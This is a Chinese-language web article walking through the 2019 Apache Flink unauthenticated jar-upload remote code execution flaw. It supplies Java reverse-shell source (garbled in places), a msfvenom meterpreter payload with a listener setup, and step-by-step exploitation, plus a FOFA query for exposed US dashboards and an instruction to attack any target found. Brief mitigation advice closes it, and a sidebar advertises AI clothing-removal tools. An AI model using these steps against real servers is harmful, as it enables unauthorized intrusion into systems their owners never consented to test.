漏洞描述:
2019年11月11號,安全工程師Henry Chen揭露了一個Apache Flink未授權上傳jar包導致遠端程式碼執行的漏洞。由於Apache Flink Dashboard 預設無需認證即可存取,透過上傳惡意jar包並觸發惡意程式碼執行,從而獲取shell。
影響範圍
環境建置:
(1) 提前安裝好java(需要java8以上)
(2) 下載flink-1.9.1
下載網址:https://www.apache.org/ dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz
(3) 解壓縮下載的壓縮套件:
tar -zxf flink-1.9.1-bin-scala_2.11.tgz
( 4) 進去到解壓縮後的目錄中,來到其bin目錄下:
#(5) 啟動flink:
./start-cluster.sh
(6) 瀏覽器存取驗證(預設連接埠為8081):
http://172.26.1.108:8081
<p>package shell;public class Revs { <br> /** * @param args * @throws Exception */ <br> public static void main(String[] args) throws Exception { <br> // TODO Auto-generated method stub <br> Runtime r = Runtime.getRuntime(); <br> String cmd[]= {"/bin/bash","-c","exec 5/dev/tcp/192.168.1.12/9999;<br> cat &5 >&5; done"}; <br> Process p = r.exec(cmd); <br> p.waitFor();<br> }}</p><p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
#這樣就產生了一個反彈shell的jar包
msf生成jar馬:
(1) 利用msfvenom來產生一個jar馬:
msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
(2) 打開msf的監聽模組,並監聽9999埠(要與我們jar馬設定的埠一致)
use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit(3) 上傳我們產生的jar馬並提交後(這部分操作參考下面的複現),可以看到我們成功接收到shell:
(1) 訪問目標:
(5) 點擊我們剛剛上傳的jar套件:
fofa關鍵字:
"apache-flink-dashboard" && country="US"
#
(1) 隨便找一個目標:
(2) 點擊Submit new Job,可以看到其可以允許我們上傳jar套件
#(3) 利用flink上傳jar包的功能將我們的jar包上傳:
(4) 上傳後,我們在我們的vps上監聽好端口
(5) 然後回到瀏覽器,選中我們剛剛上傳的jar包,然後點擊Submitting提交,可以看到我們的vps已經成功接收到了shell
#漏洞修復:
建議設定防火牆策略,僅允許白名單ip存取apache flink服務,並在Web代理(如apache httpd)中增加對該服務的digest認證。
隨時關注官網,等待新版本或補丁更新
以上是apache flink任意jar包上傳導致遠端程式碼執行的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

ZendStudio 13.5.1 Mac
強大的PHP整合開發環境

Dreamweaver Mac版
視覺化網頁開發工具

VSCode Windows 64位元 下載
微軟推出的免費、功能強大的一款IDE編輯器

Atom編輯器mac版下載
最受歡迎的的開源編輯器

SecLists
SecLists是最終安全測試人員的伙伴。它是一個包含各種類型清單的集合,這些清單在安全評估過程中經常使用,而且都在一個地方。 SecLists透過方便地提供安全測試人員可能需要的所有列表,幫助提高安全測試的效率和生產力。清單類型包括使用者名稱、密碼、URL、模糊測試有效載荷、敏感資料模式、Web shell等等。測試人員只需將此儲存庫拉到新的測試機上,他就可以存取所需的每種類型的清單。